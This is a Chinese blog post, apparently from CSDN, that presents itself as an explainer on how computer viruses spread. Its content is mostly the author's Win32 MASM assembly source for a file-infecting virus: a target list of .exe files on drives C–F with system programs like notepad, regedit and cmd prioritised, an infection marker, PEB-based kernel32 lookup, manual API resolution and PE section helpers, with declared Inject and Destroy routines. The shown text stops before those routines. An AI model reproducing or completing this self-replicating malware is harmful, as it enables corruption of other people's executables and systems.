原理型计算机病毒,本贴科普下计算机病毒的传染原理,最后赋上传染型病毒源代码...

这篇博客详细介绍了如何使用Win32汇编编写程序,通过MasM32工具包实现动态链接库的注入,以及获取和处理API地址的方法。作者展示了关键步骤,如判断字符串、获取kernel32.dll基址和批量获取API地址等技术细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

先送上源代码吧!!

comment/ 程序用win32汇编编写.用masm32 v10.0编译

2017-11-27 完成

作者: yuan

/

;##############################################

.386

.model flat, stdcall

option casemap :none

;##############################################

include \masm32\include\windows.inc

;###############函数声明#######################

_GetApi PROTO :DWORD,:DWORD

_GetKernelBase PROTO

_GetAllAPIAddress PROTO :DWORD,:DWORD

_OffsetToRVA PROTO :DWORD,:DWORD

_RVAToOffset PROTO :DWORD,:DWORD

_GetLastSection PROTO :DWORD

_CheckSig PROTO :DWORD,:DWORD

_Inject PROTO :DWORD

_Destroy PROTO

_EndWith PROTO :DWORD,:DWORD

_TraversalDirectory PROTO :DWORD

_TraversalDirectoryCallBack PROTO :DWORD

;###############常量宏#########################

PATCH_SIZE = offset PATCH_END - offset PATCH_START

ENTRY_POINT_ADDR = offset old_entry_point - offset PATCH_START

INJECT_SIG = 088888888H ;感染标记

_TYPE = 1

;_TYPE 1表示调试模式 感染当前目录下少量文件

;0表示非调试模式 程序将成为标准型态 肆意感染大量文件

;##############################################

.code

PATCH_START EQU this byte

jmp _Entry

szPatchFile db "hello.exe",0

szUser32 db "user32",0

dwOldEntry dd 0 ;保存被感染文件原入口点

szInjectFileType db ".exe",0 ;待感染文件后缀

dwInjectMax dd 20 ;每次感染数量上限

dwInjected dd 0 ;记录已感染数量

travlpath db "d:\zt\",0

szMSG db "本程序已携带病毒",0

szTextPath db "d:\love\",0 ;调试模式感染此目录

szDriveD db "d:\",0 ;非调试模式感染驱动器下所有exe文件

szDriveE db "e:\",0

szDriveF db "f:\",0

szDriveC db "c:\",0

FIRST_INJECT = this byte

;优先感染的关键文件,在非调试模式才感染

notepad_1 db "c:\windows\notepad.exe" ,0;

regedit_ db "c:\windows\regedit.exe" ,0

notepad_2 db "c:\windows\system32\notepad.exe",0;

cmd_ db "c:\windows\system32\cmd.exe" ,0;

control_ db "c:\windows\system32\control.exe",0;控制面板

ie_ db "c:\Program Files\Internet Explorer\iexplore.exe",0;

db 011h

;########################################################

;需要用到的所有API,后面将动态获取其地址填入xxx_API_ADDR处

user32_API_NAME EQU this byte

szMessageBoxA db "MessageBoxA",0

db 011h

user32_API_ADDR EQU this byte

_MessageBoxA dd 0

;+++++++++++++++++++++++++++++++++++++++++++++++++++

kernel32_API_NAME EQU this byte

szCreateProcessA db "CreateProcessA" ,0

szlstrcpyA db "lstrcpyA" ,0

szlstrcatA db "lstrcatA" ,0

szFindFirstFileA db "FindFirstFileA" ,0

szFindNextFileA db "FindNextFileA" ,0

szFindClose db "FindClose" ,0

szCreateFileA db "CreateFileA" ,0

szCloseHandle db "CloseHandle" ,0

szCreateFileMappingA db "CreateFileMappingA" ,0

szMapViewOfFile db "MapViewOfFile" ,0

szUnmapViewOfFile db "UnmapViewOfFile" ,0

szLoadLibraryA db "LoadLibraryA" ,0

szGetProcAddress db "GetProcAddress" ,0

szGetModuleHandleA db "GetModuleHandleA" ,0

szGetFileSize db "GetFileSize" ,0

szCreateDirectoryA db "CreateDirectoryA" ,0

szExitProcess db "ExitProcess",0

db 011h ;结束标志

kernel32_API_ADDR EQU this byte

_CreateProcessA dd 0

_lstrcpyA dd 0

_lstrcatA dd 0

_FindFirstFileA dd 0

_FindNextFileA dd 0

_FindClose dd 0

_CreateFileA dd 0

_CloseHandle dd 0

_CreateFileMappingA dd 0

_MapViewOfFile dd 0

_UnmapViewOfFile dd 0

_LoadLibraryA dd 0

_GetProcAddress dd 0

_GetModuleHandleA dd 0

_GetFileSize dd 0

_CreateDirectoryA dd 0

_ExitProcess dd 0

;########################################################

;--------------------------------------------------

;功能: 判断字符串lpParent是否以字符串lpChild结尾

;lpParent结尾包含lpChlid时返回1在eax 否则返回0

;---------------------------------------------------

_EndWith PROC uses ecx edx esi edi lpParent,lpChild

mov edi,lpChild

mov ecx,-1

xor eax,eax

cld

repnz scasb

sub edi,lpChild

mov edx,edi

mov edi,lpParent

repne scasb

sub edi,edx

mov ecx,edx

mov esi,lpChild

repe cmpsb

jne @F

mov eax,1

@@:

ret

_EndWith ENDP

;+++++++++++++++++++++++++++++++++++++++++++++++++

;功能: 类似GetProcAddress

;lpBase - 动态链接库基地址

;lpApi - 字符串指针指向要获取的函数名

;返回函数地址在eax 没有找到返回-1

;+++++++++++++++++++++++++++++++++++++++++++++++++

_GetApi PROC uses esi edi ecx ebx edx lpBase,lpApi

LOCAL @dwLen

mov edi,lpApi

mov ecx,-1

xor al,al

cld

repnz scasb

sub edi,lpApi

mov @dwLen,edi

mov ebx,lpBase

mov esi,[ebx+3ch] ;pe头偏移

mov esi,[esi+ebx+78h]

add esi,ebx ;esi指向IMAGE_EXPORT_DIRECTORY

mov edx,[esi+20h]

add edx,ebx ;edx指向AddressOfNames RVA列表

push esi

xor eax,eax ;计数索引

@@:

mov edi,[edx+eax*4]

add edi,ebx

mov esi,lpApi

mov ecx,@dwLen

repz cmpsb

je @F ;字符串相等 找到

inc eax

jmp @B

@@:

pop esi

mov edi,[esi+24h]

add edi,ebx

mov ax,word ptr [edi+eax*2] ;取出函数地址在AddressOfFunctions中索引

mov edi,[esi+1ch]

add edi,ebx

mov eax,[edi+eax*4]

add eax,ebx

ret

_GetApi ENDP

;+++++++++++++++++++++++++++++++++++++++++++++++++

;功能: 获取kernel32.dll基地址

;返回kernel32.dll基地址在eax

;+++++++++++++++++++++++++++++++++++++++++++++++++

_GetKernelBase PROC uses esi edi ecx

assume fs:nothing

xor ecx,ecx

mov eax,fs:[30h]

mov eax,[eax+0ch]

mov esi,[eax+1ch]

@@:

mov eax,[esi+08h] ;取列表中模块基址到eax

mov edi,[esi+20h] ;取所属模块的字串首地址到EDI

mov esi,[esi]

cmp [edi+12*2],cx ;cx=0 比较字串的尾部是否为0

jnz @B

ret

_GetKernelBase ENDP

;+++++++++++++++++++++++++++++++++++++++++++++++++

;功能: 批量获取API地址

;入口参数

;esi: 函数地址表

;edi: 函数名字符串表

;lpBase: 模块基址

;lpGetProcAddress: GetProcAddress函数地址

;函数字符串表以db 011h 为结束标志

;+++++++++++++++++++++++++++++++++++++++++++++++++

_GetAllAPIAddress PROC uses ecx lpBase,lpGetProcAddress

cld

@@:

mov al,[edi]

cmp al,011h

je @F

push edi

push lpBase

call lpGetProcAddress

mov [esi],eax

xor eax,eax

mov ecx,-1

repne scasb

add esi,4

jmp @B

@@:

ret

_GetAllAPIAddress ENDP

;+++++++++++++++++++++++++++++++++++++++++++++++++

;功能: 文件偏移转RVA

;lpDosHeader 指向内存映射文件头 dwOffset为文件偏移

;返回RVA 失败返回-1

;+++++++++++++++++++++++++++++++++++++++++++++++++

_OffsetToRVA PROC uses esi edi edx ecx lpDosHeader,dwOffset

mov esi,lpDosHeader

assume esi:ptr IMAGE_DOS_HEADER

add esi,[esi].e_lfanew

assume esi:ptr IMAGE_NT_HEADERS

lea edx,[esi+sizeof IMAGE_NT_HEADERS]

assume edx:ptr IMAGE_SECTION_HEADER

mov cx, [esi].FileHeader.NumberOfSections

mov edi, dwOffset

@@:

mov eax, [edx].PointerToRawData

add eax, [edx].SizeOfRawData

.if (edi >= [edx].PointerToRawData)&&(edi < eax)

sub edi, [edx].PointerToRawData

mov eax, [edx].VirtualAddress

add eax, edi

ret

.endif

add edx, sizeof IMAGE_SECTION_HEADER

loop @B

mov eax, -1

ret

_OffsetToRVA ENDP

;+++++++++++++++++++++++++++++++++++++++++++++++++

;RVA转文件偏移

;+++++++++++++++++++++++++++++++++++++++++++++++++

_RVAToOffset PROC uses esi edi edx ecx lpDosHeader,dwRVA

mov esi, lpDosHeader

assume esi:ptr IMAGE_DOS_HEADER

add esi, [esi].e_lfanew

assume esi:ptr IMAGE_NT_HEADERS

lea edx, [esi+sizeof IMAGE_NT_HEADERS]

assume edx:ptr IMAGE_SECTION_HEADER

mov cx, [esi].FileHeader.NumberOfSections

mov edi, dwRVA

@@:

mov eax, [edx].VirtualAddress

add eax, [edx].SizeOfRawData

.if (edi >= [edx].VirtualAddress)&&(edi < eax)

sub edi, [edx].VirtualAddress

mov eax, [edx].PointerToRawData

add eax, edi

ret

.endif

add edx,sizeof IMAGE_SECTION_HEADER

loop @B

mov eax,-1

ret

_RVAToOffset ENDP

;+++++++++++++++++++++++++++++++++++++++++++++++++

;功能: 获取指向末节区头指针

;lpBase: 内存映射后dos头指针

;返回指向末节区头的指针在eax

;+++++++++++++++++++++++++++++++++++++++++++++++++

_GetLastSection PROC uses esi ebx lpBase

mov esi,lpBase

assume esi:ptr IMAGE_DOS_HEADER

add esi, [esi].e_lfanew

assume esi:ptr IMAGE_NT_HEADERS

movzx ebx, [esi].FileHeader.NumberOfSections

dec ebx

mov eax, sizeof IMAGE_SECTION_HEADER

mul ebx

add esi, sizeof IMAGE_NT_HEADERS

add esi, eax

mov eax, esi

assume esi:nothing

ret

_GetLastSection ENDP

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值